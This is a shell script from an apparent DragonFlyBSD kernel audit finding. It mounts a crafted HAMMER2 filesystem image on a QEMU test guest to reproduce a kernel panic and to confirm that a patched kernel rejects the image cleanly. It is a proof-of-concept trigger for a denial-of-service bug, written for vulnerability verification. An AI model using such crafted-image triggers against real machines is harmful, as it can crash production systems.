DragonFlyBSD Kernel Audit
DF-0763 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0763 run.sh -- trigger the bug by mounting the crafted image.
#
# On the UNPATCHED kernel (#0, INVARIANTS ON): panics at hammer2_io.c:126.
# On the PATCHED kernel (#1): mount fails cleanly with EINVAL +
#   "hammer2_mount: error Bad Blockref Error reading super-root", no panic.
#
# Must be run as root (mount + vnconfig).  The crafted image must already
# exist at /tmp/h2_craft_radix17.img (built by build.sh).

set +e
cd "$(dirname "$0")"
SSH="ssh -F dfbsd-qemu/config dfbsd"

echo "=== kernel ==="
$SSH 'sysctl -n kern.version | head -1'

echo "=== mount crafted radix-17 hammer2 image ==="
$SSH 'mkdir -p /mnt/h2test; vnconfig -u vn0 2>/dev/null; vnconfig -c vn0 /tmp/h2_craft_radix17.img 2>&1; mount -t hammer2 /dev/vn0@testvol /mnt/h2test 2>&1; rc=$?; echo "MOUNT_RC=$rc"; if [ $rc -ne 0 ]; then echo "[!] mount rejected (expected on patched kernel / radix rejected)"; vnconfig -u vn0 2>/dev/null; fi'

echo "=== guest status ==="
$SSH 'uptime; dmesg | grep -iE "Bad Blockref|panic:|Illegal:" | tail -5' 2>&1 || echo "[!] guest unreachable (likely panicked -- check dfbsd-qemu/boot.log)"

echo "=== done ==="